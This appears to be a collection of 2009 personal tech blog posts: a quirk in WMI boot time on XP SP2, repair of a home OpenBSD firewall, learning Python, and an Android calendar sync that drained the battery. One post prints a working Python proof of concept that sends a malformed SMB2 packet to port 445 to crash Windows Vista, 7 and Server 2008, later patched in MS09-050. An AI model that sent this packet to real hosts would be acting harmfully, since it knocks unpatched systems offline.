Category: computers

On Windows XP one can use WMI to determine when the computer booted up by querying root/cimv2/Win32_OperatingSystem.LastBootupTime. This will return a result in CIM_DATETIME format indicating the time the computer booted up. However, while researching some things yesterday I found that on XP SP2 this changes if a user logs out, puts the computer in a Hibernate or Stand-by mode, wakes the computer, then queries this value.

Here’s results of this query after a few different scenarios:

Initial Query: 20090910130529.109375-240
After Logoff / Logon: 20090910130529.109375-240
After Hibernate / Wake while Logged In: 20090910130529.109375-240
After Logoff / Hibernate / Wake / Login: 20090910131221.162894-240
After Logoff / Stand By / Wake / Login: 20090910131718.006644-240

This was quite unexpected, because Microsoft’s documentation on the Win32_OperatingSystem class states that LastBootUpTime contains “Date and time the operating system was last restarted.”, and Hibernate or Stand By shouldn’t constitute a restart.

This behavior was not observed on XP SP3. Per 946480: List of fixes that are included in Windows XP Service Pack 3 this was not something fixed, but it does appear to have changed. If you would like to demonstrate this for yourself, use the following VBScript (or download it from here: getlastbootuptimetest.vbs) to easily read out Win32_OperatingSystem.LastBootUpTime:

As is normal for a Patch Tuesday, Microsoft released a bunch of patches. Unfortunately, none of them fix a vulnerability in SMB2 on Vista, 7, or Server 2008 which allows easy remote BSODs using a single packet. This code below, which works under Python 2.6 on Windows, was very slightly adapted from this post to Full Disclosure.

import socket

host = "127.0.0.1", 445

buff = (

"\x00\x00\x00\x90" # Begin SMB header: Session message

"\xff\x53\x4d\x42" # Server Component: SMB

"\x72\x00\x00\x00" # Negociate Protocol

"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853

"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"

"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"

"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"

"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"

"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"

"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"

"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"

"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"

"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"

"\x30\x30\x32\x00"

)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(host)

s.send(buff)

s.close()

UPDATE: Microsoft has posted 975497 – Vulnerabilities in SMB Could Allow Remote Code Execution which states:

Microsoft is investigating new public reports of a possible vulnerability in Microsoft Server Message Block (SMB) implementation. We are not aware of attacks that try to use the reported vulnerabilities or of customer impact at this time.

I’m not sure how they define attack, but that BSOD above sure looks like one and making something quick to hit whole subnets in a go would be trivial.

UPDATE 2: This was fixed on 13-Oct-2009 in MS09-050.

Yes, I’m very late to the party, but as I’ve been hearing quite a bit about how useful Python (Wikipedia) is, I’ve spent some spare time over the last week giving it a look. As was suggested by some friends I started with Python 2.6.2, which is the latest version of the previous branch of the language. (There is also a 3.0 branch, but it’s my understanding that it’s not yet widely used and is sufficiently different from the previous version that it’s best to start at 2.6.2.)

After going through most of the very nice official Python tutorial I began playing with Windows-specific things, most notably Tim Golden’s WMI Module, which seems to work quite well. I still have to get more comfortable with the language, but thus far I’ve had no problems reimplementing many of the basic scripts that I’ve written at work to automate random little tasks.

Yesterday while at work Danielle informed me that she was unable to reach the internet from my house. SSHing into Trashwall showed that while it could talk to the public network, for some reason it couldn’t talk internally. I figured that a quick reboot might be worth trying, but after that it never came back. Watching the console yesterday showed it dumping core while booting, and that the system’s time had been reset to the epoch. Hopefully this is just a case of the PRAM battery having failed. It’s a SAFT LS 14250 C, which is thankfully easy to find. Out of the system the battery reads 3.6V, which is normal for it, but it’s possible it’s right on the edge.

I think that after replacing the battery and getting Open Firmware properly set back up I’ll look at replacing it’s el-cheapo 2GB Compact Flash drive with an actual hard disk. The extra space will allow me to run Cacti, which I think would be pretty nifty to use for logging per-device bandwidth use, wireless network stats, and things like that.

Currently my house is running just-fine on an AirPort Extreme which works well, but is a bit limited feature-wise. It’s really nifty that it supports IPv6 and all, but that’s not something that I currently use. If I’m not able to get Trashwall (that is, the Mac with the many-port NICs and such) going again, I’ll have to figure out something else for network connectivity at home. I really like the idea of a ultra-quiet OpenBSD box handling everything, but I’ll have to find (and silence) a PC in order to do the same thing. That might take a lot of effort.

UPDATE: Trashwall was fixed by fitting a new hard disk, replacing the PRAM battery, restoring the OpenFirmware settings, and installing OpenBSD 4.6. Everything is working great again.

On Google Android, running on my T-Mobile G1, there is a icon which appears in the notification bar whenever the phone is syncing Gmail, Calendar, Contacts, etc. Typically this icon only appears for a second or two and then goes away. However, a week or so ago I began noticing that my G1’s battery was being completely exhausted at least daily, and quite often I’d pick up the phone to find it very hot with the sync icon stuck on. The warmth seemed to be caused by the radio being constantly in use for extended periods of time as sync tried to occur. While I could deal with the sync not always working right or my having to cancel an in-progress sync, having to charge the phone a few times per day was becoming a big problem.

My short-term workaround was to leave the phone on the charger overnight and allow it to sync then, which seemed to work. However, this was obviously not a solution. Yesterday I finally took time to look into the problem. To start, if I entered Settings → Data Synchronization, the Application sync settings portion would often indicate that sync hadn’t occurred for a day or two. When I manually initiated a sync I noticed that while Gmail and Contacts synced and completed reasonably fast (a few seconds each), the Calendar sync seemed to start and stop repeatedly, never finishing during the time I watched it.

Signing into Google Calendar, which I don’t do very often, showed the error above, stating that …this is not a Calendar user: http://www.google.com/calendar/feeds/adsense-calendar@google.com/public/basic. This calendar is a Google AdSense calendar found on this page within the AdSense help documentation, entitled How do I subscribe to the AdSense Calendar. After removing the entry for this seemingly broken calendar from my Other calendars list I initiated another sync from the phone (Settings → Data Synchronization → MENU → Sync now) and it all syncing completed within 30 seconds.

If one visits the page from which the aforementioned AdSense calendar is linked, the link is still active, but attempting to add the calendar results in this error. Since I’d added this calendar without error a while ago, I suspect that once it became unavailable the phone was unable to promptly complete a calendar sync, having to wait for something to time out before it could complete. Unfortunately, until this timeout the radio was active, which ate battery and caused the phone to warm up.